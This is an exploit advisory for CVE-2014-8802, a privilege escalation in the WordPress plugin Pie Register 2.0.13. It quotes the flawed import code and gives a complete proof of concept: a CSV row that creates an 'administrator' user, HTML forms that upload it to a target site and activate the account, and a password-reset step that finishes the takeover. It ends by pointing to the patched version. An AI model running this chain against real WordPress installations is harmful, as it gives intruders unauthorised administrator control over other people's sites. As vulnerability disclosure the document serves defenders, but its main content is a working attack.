WordPress Plugin Pie Register 2.0.13 - Privilege Escalation

# Exploit Title: Pie Register 2.0.13 Privilege escalation

# Date: 16-10-2014

# Software Link: https://wordpress.org/plugins/pie-register/

# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# CVE: CVE-2014-8802

# Category: webapps



1. Description

  

Anyone can import CSV file. Pie Register will import users from this file.



File: pie-register\pie-register.php



add_action( 'init', array($this,'pie_main') );

function pie_main() {

	// I skip unnecessary lines

	if(isset($_FILES['csvfile']['name'])) {

		$this->importUsers();

	}

}



http://security.szurek.pl/pie-register-2013-privilege-escalation.html



2. Proof of Concept



Create CSV file based on given example:



"Username","Display name","E-mail","User Registered","First Name","Last Name","Nickname","Role"

"hack","Hacked","hacked@hacked.hacked","2010-10-10 20:00:00","Hacked","Hacked","Hacked","administrator"



Import account using:



<form method="post" action="http://wordpress-instalation" enctype="multipart/form-data">

    Input CSV<input type="file" name="csvfile">

    <input type="submit" value="Add user!">

</form>



Create another standard account using wp-login.php?action=register.



After login go to wp-admin/profile.php and search "uid" in page source.



Number after "uid" is our current account id. For example: "uid":"123".



We can assume that previously imported admin account has id-1 (or id-x where x is natural number).



We can activate this account using:



<form method="post" action="http://wordpress-instalation">

    <input type="hidden" name="verifyit" value="1">

    Account id:<input type="text" name="vusers[]" value="">

    <input type="submit" value="Activate user!">

</form>



Finally we can reset password using: http://wordpress-instalation/wp-login.php?action=lostpassword

  

3. Solution:

  

Update to version 2.0.14

https://downloads.wordpress.org/plugin/pie-register.2.0.14.zip